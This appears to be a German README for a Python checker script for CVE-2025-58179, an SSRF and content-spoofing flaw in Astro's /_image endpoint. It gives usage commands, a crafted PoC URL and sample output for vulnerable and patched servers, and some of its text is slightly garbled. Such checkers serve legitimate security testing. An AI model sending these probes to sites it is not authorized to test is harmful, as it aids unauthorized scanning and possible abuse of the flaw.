
CVE-2025-58179-Check ist ein einfaches Python-Skript zur Überprüfung der SSRF (Server-Side Request Forgery) / Content-Spoofing-Schwachstelle am Endpoint /_image im Astro-Framework.
Diese Schwachstelle wird als GHSA-qpr4-c339-7vq8 und CVE-2025-58179 geführt.
Diese Schwachstelle betrifft Astro-Websites, die den Adapter @astrojs/cloudflare mit der Konfiguration output: 'server' verwenden. Der Endpoint /_image, der eigentlich Bilder optimieren soll, validiert den Parameter href nicht korrekt.
Dadurch kann ein Angreifer den Server veranlassen, Inhalte von einer beliebigen unautorisierten externen Domain abzurufen und auszuliefern. Die Auswirkung kann SSRF sein; wenn es sich bei den externen Inhalten um eine schädliche Datei handelt (z. B. ein SVG mit eingebettetem Skript), kann dies zu Cross-Site Scripting (XSS) führen.
Dieses Skript automatisiert den Testprozess, um festzustellen, ob eine Website für dieses Problem anfällig ist.
Status 200 mit Content-Type: image/*).requests (nur wenn die Verifizierungsfunktion verwendet wird)Sie können requests mit pip installieren:
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyDiese Option gibt lediglich die bereits encodierte PoC-URL aus. Nützlich, wenn Sie manuell im Browser oder mit anderen Tools testen möchten.
Befehl:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
Beispiel:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
Ausgabe:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
Diese Option erstellt die URL und sendet sofort eine HTTP-GET-Anfrage, um die Serverantwort zu verifizieren.
Befehl:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
Beispiel:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
Wenn der Server den Statuscode 200 zurückgibt und der Inhaltstyp ein Bild ist, deutet dies darauf hin, dass der Server externe Inhalte abgerufen und ausgeliefert hat.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
Ein bereits gepatchter oder korrekt konfigurierter Server lehnt Anfragen an unautorisierte externe Domains ab, in der Regel mit einem 4xx-Status.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] WARNUNG
- Dieses Skript wurde zu Bildungszwecken und für legitime Sicherheitstests erstellt.
- Die Benutzer sind für ihre Handlungen vollständig verantwortlich. Verwenden Sie dieses Skript nicht auf Systemen, für die Sie keine Berechtigung haben.